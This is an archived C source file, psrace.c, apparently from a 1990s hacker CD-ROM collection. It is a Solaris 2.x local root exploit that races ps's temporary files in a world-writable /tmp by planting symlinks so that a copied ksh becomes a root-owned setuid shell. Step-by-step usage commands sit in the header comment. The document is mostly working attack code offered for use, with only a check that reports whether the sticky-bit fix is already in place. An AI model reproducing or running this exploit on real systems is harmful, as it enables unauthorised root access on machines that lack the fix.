home *** CD-ROM | disk | FTP | other *** search
/ The Hacker's Encyclopedia 1998 / hackers_encyclopedia.iso / hacking / unix / sun_psra.c < prev    next >
Encoding:
C/C++ Source or Header  |  2003-06-11  |  2.4 KB  |  116 lines

  1.  
  2. /*
  3.  *  psrace.c
  4.  *
  5.  *  Copyright, 1995, by Scott Chasin (chasin@crimelab.com)
  6.  *
  7.  *  This material is copyrighted by Scott Chasin, 1995. The
  8.  *  usual standard disclaimer applies, especially the fact that the
  9.  *  author is not liable for any damages caused by direct or indirect
  10.  *  use of the information or functionality provided by this program.
  11.  *
  12.  *  [ For solaris2.x only ]
  13.  *
  14.  *  After compiling psrace, run the following commands:
  15.  *
  16.  *  cp /bin/ksh $HOME/rootshell; chmod 14755 $HOME/rootshell
  17.  *  /bin/sh -c 'while /bin/true ; do ps > /dev/null ; done' &
  18.  *  ./psrace $HOME/rootshell
  19.  *
  20.  *  (Ignore any errors you get from ps)
  21.  *  You may have to wait a few minutes before the race is won.
  22.  */
  23.  
  24. #include <stdio.h>
  25. #include <sys/types.h>
  26.  
  27. #include <dirent.h>
  28. #include <sys/stat.h>
  29.  
  30. main (argc, argv)
  31. int argc;
  32. char **argv;
  33. {
  34.   int count = 0;
  35.   DIR *dirp;
  36.   struct dirent *dp;
  37.   struct stat fileinfo;
  38.   char targetfile [85], name [85];
  39.  
  40.   if (argc != 2)
  41.    {
  42.       printf ("Usage: psrace [/full/path/to/target/filename]\n");
  43.       exit (1);
  44.    }
  45.  
  46.   if (access (argv[1], 0))
  47.    {
  48.       printf ("psrace: %s does not exist.\n", argv[1]);
  49.       exit (1);
  50.    }
  51.  
  52.   strcpy (targetfile, argv[1]);
  53.  
  54.   stat ("/tmp", &fileinfo);
  55.   if (fileinfo.st_mode & S_ISVTX)
  56.    {
  57.       printf ("psrace: Congratulations! You already have the fix in place.\n");
  58.       printf ("psrace: (/tmp has the sticky-bit set)\n");
  59.       exit (1);
  60.    }
  61.  
  62.   printf ("Be patient, this could take awhile.\n");
  63.   printf ("Starting the race .. ");
  64.   fflush (stdout);
  65.  
  66.   dirp = opendir ("/tmp");
  67.  
  68.   for (;;)
  69.    {
  70.      unlink ("/tmp/ps_data");
  71.  
  72.      while ((dp = readdir (dirp)) != NULL)
  73.       {
  74.         if (!strncmp (dp->d_name, "ps.", 3))
  75.          {
  76.            sprintf (name, "/tmp/%s", dp->d_name);
  77.            unlink (name);
  78.  
  79.            symlink (targetfile, name);
  80.  
  81.            if (stat (targetfile, &fileinfo) >= 0)
  82.                if (fileinfo.st_uid == 0)
  83.                  {
  84.                    printf ("We WON!\n");
  85.                    closedir (dirp);
  86.                    clean_up ();
  87.                  }
  88.          }
  89.       }
  90.      rewinddir (dirp);
  91.    }
  92.  }
  93.  
  94.  
  95. clean_up ()
  96. {
  97.   DIR *dirp;
  98.   struct dirent *dp;
  99.   char name [25];
  100.  
  101.   dirp = opendir ("/tmp");
  102.  
  103.   while ((dp = readdir (dirp)) != NULL)
  104.       if (!strncmp (dp->d_name, "ps.", 3))
  105.        {
  106.           sprintf (name, "/tmp/%s", dp->d_name);
  107.           unlink (name);
  108.        }
  109.   closedir (dirp);
  110.  
  111.   unlink ("/tmp/ps_data");
  112.   exit (0);
  113. }
  114.  
  115.  
  116.